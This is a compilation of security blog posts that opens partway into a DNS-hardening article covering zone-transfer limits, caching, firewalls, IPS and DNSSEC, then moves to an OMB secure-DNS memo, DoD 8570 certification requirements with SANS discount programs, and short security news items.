Zone transfers are the ability for a slave DNS server to pull records from a master server to a slave. This allows you to host all of your zonefiles on a master machine and have them automatically propagate to slave machines after a change is made. The ability to transfer an entire zonefile for a domain also provides a easy way for would-be attackers to enumerate an organizations network. Because of this DNS servers should be configured to limit zone transfer requested to the IP addresses of designated slave machines.

· Deploy DNS Cache Servers

On loaded DNS farms, it’s wise to make use of DNS Caches in order to reduce the number of queries answered by your DNS. Normally this is done deploying a L2 (invisible) device in front of your DNS farm with the ability to identify and answer the most common queries. The overall results can be great if you think that a lot of requests are done against the same domains (google, yahoo, msn, etc). These queries will be answered by the DNS Cache reducing the number of servers need and increasing the performance.

· All MX records should have a corresponding PTR record

RFC1912 dictates that all mail gateways should have Reverse DNS entries configured. Many mail servers are configured to not accept email from gateways which don't have proper Reverse DNS entries. 

· DNS server versions

To allow external users to actually identify running software versions often provide a would-be attacker with valuable information about the DNS application running on that machine. Published exploits corresponding to that specific version of the application can quickly be located and launched. For this reason, DNS server versions should be modified to obfuscate the actual running version number. Also, try to keep you OS and DNS Server application updated with the most recent version (stable) and patches.

· Deploy firewalls with appropriated rules

It’s very important to deploy a dedicated firewall solution to control who/whom can access the DNS servers and with what purposes. Take attention to the order where you’ll create the DNS control rules, try to fit these rules in the beginning of the chain (to improve firewall performance if you have a non “Best fit” firewall). Again when planning the rules, think about to use a “least privilege” approach. It’s always good.

It’s also important to design the system in order to support all traffic. Looks basic but many companies face serious performance issues in theirs DNS infrastructures and many times a overloaded firewall is the bottleneck.

· Deploy IPS systems

A Intrusion Prevention System can also increase DNS Security protecting the infrastructure against L7 attacks. I always recommend companies to try to deploy IPS systems dedicated to protect the DNS Infrastructure. Doing this you can select only DNS and OS related signatures improving detection and performance, and reducing false-positives.

· Deploy Specific DNS Protection Mechanisms

If per example a DNS server only answers A and MX type records, why allow NS records to reach this server? There are solutions in market that help to increase DNS Security protecting against DNS Protocol flaws and blocking non allowed queries to be made. It’s a very good way to increase security.

· DNSSEC

DNSSEC was designed to protect the Internet from certain attacks, such as DNS cache poisoning . It is a set of extensions to DNS, which provide:

a) origin authentication of DNS data, b) data integrity, and c) authenticated denial of existence.

These mechanisms require changes to the DNS protocol. DNSSEC adds four new resource record types: Resource Record Signature (RRSIG), DNS Public Key (DNSKEY), Delegation Signer (DS), and Next Secure (NSEC). These new RRs are described in detail in RFC 4034.

It also adds two new DNS header flags: Checking Disabled (CD) and Authenticated Data (AD). In order to support the larger DNS message sizes that result from adding the DNSSEC RRs, DNSSEC also requires EDNS0 support (RFC 2671).

Finally, DNSSEC requires support for the DNSSEC OK (DO) EDNS header bit (RFC 3225) so that a security-aware resolver can indicate in its queries that it wishes to receive DNSSEC RRs in response messages. By checking the signature, a DNS resolver is able to check if the information is identical (correct and complete) to the info on the authoritative DNS server.

DNSSEC services protect against most of the threats to the Domain Name System. There are several distinct classes of threats to the Domain Name System, most of which are DNS-related instances of more general problems, but a few of which are specific to peculiarities of the DNS protocol.

Note that DNSSEC does not provide confidentiality of data. Also, DNSSEC does not protect against DDoS Attacks.

DNS offers good security but can be almost impossible to deploy on carriers scenario. Actually we see some DNSSEC deployments on companies but none in carriers (at least I don’t see!!)

Conclusion

This paper is focused to present a overview about the DNS protocol, related threats and some ways to protect DNS Infrastructures against attacks. You can take all of this in order to increase your security (which is good) or choose some that you believe is more appropriated for your environment.

The important here is to understand that DNS is a critical service and must be treated as it.

OMB sneaked this one in on me:  OMB Memo 08-23 requires secure DNS (standard .pdf caveat).  Agencies need to submit a plan by September 5th on how they should accomplish this.  The whole switchover should occur by December 2009.

The interesting thing to me is that OMB is getting bolder in specifying technical solutions.  Part of me wants to scream because public policy people have no business dictating technical solutions–that’s what we have standards boards and RFCs for.

From what I hear, some of this is because OMB is starting to be a really bad lame duck.  Think about it, what are the odds that anybody at OMB is going to be around in December 2009?  Completely unofficial word on the street is that OMB is pushing last-minute initiatives because of politicals–trying to accomplish things in time for the elections.

Also, I think that OMB is getting tired of NIST’s nonpspecificity in their guidance.  NIST’s approach to being generic in nature is necessary because of their role as a research organization and the producers of methodologies.

The solution to all this?  Well, the way it happens in the rational world is organic standards boards.  Yes, they have their problems (*cough* WAFs anyone? *cough*) but overall, they fill a place.  Inside Government, we don’t have much of that happening–we have the CIO council and the Enterprise Architecture folks, but nothing security-specific.

Lock Up Your Data photo by psd.

Description of the picture, it’s great and needs to be repeated:

The road passes the temptations of Flash and AIR. Those who succumb or who are unfortunate enough to be lured by Silverlight’s Siren find themselves sold down the river of Rich User Experiences and hurled towards lock-in weir. The TiddlyWiki steps may rescue some, who can then join those who stuck to the main path of Javascript and AJAX for their interactions.

The URI scheme is based on DNS, a registry which has weaknesses, meanwhile the ICANN Fracture results from their greedily adding spurious new Top Level Domains such as .mobi, .jobs, .xxx and even .tel, which whilst generating more revenue (for them) causes mass confusion and threatens to break the opacity of URIs.

Bookmark to:

Because current hard disk encryption tools don't delete entered passwords from memory, attackers can retrieve the passwords in plain text. However, physical access to a computer is required to do so - unless a trojan does the work.(author unknown)

In today’s economy, we are all looking to save some money. This applies even to our security training budgets. The last three SANS certifications I obtained were made possible by the SANS Work Study Program. The program allows the volunteer to pay a fee of $700, which is applied towards tuition and certification costs. The volunteer works the selected event and in exchange they can attend the course and all other events at the conference (SANS@Night events, BoFs, Lunch & Learns, etc.). So it was with great interest that I read about the Community of Interest in Network Security (COINS) program. Stephen Northcutt wrote:
Please note that if you are a member of an OWASP chapter, ISSA, ISACA, InfraGard, HTCIA, ECTF or other local security organization, the COINS program offers you a 50% tuition discount for this or any other SANS @Home course.

Being very interested, I contacted Steve Peterson, director of mentor programs. Steve explained that COINS is a fairly new program at SANS. To quote Steve:
The goal of COINS is to work with local security organizations to strengthen the security community by offering SANS discounts to chapter members and free content to chapter meetings. COINS typically will run an event at our conferences as well. If you attend a conference, keep an eye out for the COINS event.

I used the COINS program to signed up for the SANS® +S™ Training Program for the CISSP® Certification Exam (Management 414). While I tend to prefer more technically focused courses, the DoD directive 8570 convinced me that having the Certified Information Systems Security Professional (CISSP) certification would be useful. To quote the 8570 FAQ:
DoD Directive 8570.1 provides the basis for an enterprise-wide solution to train, certify, and manage the DoD Information Assurance (IA) workforce. The policy requires Information Assurance technicians, managers, and members of IA specialties to be trained and certified to a DoD baseline requirement. The Directive’s accompanying Manual identifies the specific certifications mandated by the Directive’s enterprise-wide certification program.

Agencies covered by 8570 include:

• Office of the Secretary of Defense
• Military Departments
• Chairman of the Joint Chiefs of Staff
• Combatant Commands
• Office of the Inspector General of the DoD
• Defense Agencies
• DoD Field Activities
• All other organizational entities in the DoD

Any full or part time military service member, contractor, or local nationals with privileged access to a DoD information system performing information assurance functions — regardless of job or occupational series is affected by 8570. For fiscal year 2008, the goal was to fill a total of 70 percent of the Information Assurance positions with certified personnel.

The tables below describe the DoD Approved Baseline Certifications, according to DoD 8570.01-M. This includes requirements for Information Assurance Technical (IAT), IA Management (IAM), IA System Architect and Engineers (IASAE), and Computer Network Defense-Service Providers (CND-SP). All must be be fully trained and certified to baseline requirements to perform their IA duties.

IAT workforce members consists of anyone with privileged information system access performing IA functions. IAT Level certifications are cumulative. Higher level certifications qualify for lower level requirements. Certifications listed in Level II or III cells can be used to qualify for Level I. However, Level I certifications cannot be used for Level II or III unless the certification is also listed in the Level II or III cell.

IAT Level I IAT Level II IAT Level III A+
Network+
SSCP GSEC
Security+
SCNP
SSCP CISA
CISSP
GSE
SCNA

IAM personnel are responsible for secure implementation and operation of a DoD information system (IS). IAMs perform IS security management functions for DoD operational systems. Management certifications corresponding to the position level do not cascade down. Each position requires the individual to meet one of the specific certifications associated with that Management Level. An IAM I must obtain one of certifications shown in the IAM I box, such as the GISF. The IAM I should not take the CISSP unless already qualified in one of the certifications listed in the IAM I box (e.g., GISF).

IAM Level I IAM Level II IAM Level III GISF
GSLC
Security+ GSLC
CISM
CISSP GSLC
CISM
CISSP

The CND-SP personnel are members of “Accredited” CND-SP teams performing the functions listed.

CND Analyst CND Infrastructure Support CND Incident Responder CND Auditor CND-SP Manager GCIA SSCP GCIH
CSIH CISA
GSNA CISSP-ISSMP
CISM

IASAE personnel perform system design functions, such as requirements gathering.

IASAE I IASAE II IASAE III CISSP CISSP ISSEP
ISSAP

In the above table, I put CISSP in bold, along with a few other certifications I currently possess, as an example of how a few certifications can help cover requirements for many of the DoD Information Assurance positions. With the CISSP certification, IAT Level I, II and II are covered along with IASAE I and II. It is easy enough to pick up one of the IAM Level I certification, depending on that you are managing, and the CISSP will cover you for IAM Level II and III.

Now if you are not directly affected by 8570, why should you care? There are a large number of military service member, contractor, and local nationals with privileged access to DoD information systems. These folks are performing information assurance functions and DoD 8570 will eventually require them to have various security certifications. At some point, there is a good chance that these certified individuals are going to be competing with you for a job. Management often does not know how to tell the difference between candidates. Obtaining these certifications will help level the playing field so you can get past human resources, obtain management approval, and have the opportunity to impress the security folks. Of course, obtaining training and taking certification exams can get expensive. Thankfully there are programs like the SANS Work Study and COINS program providing great options for those with financially disadvantaged training budgets.

A new security system devised by Carnegie Mellon researchers uses a distributed network of "notary" servers to independently validate public keys. This could protect users from man-in-the-middle attacks when they visit web sites with self-signed certificates.

Read More...

segphault@arstechnica.com (Ryan Paul)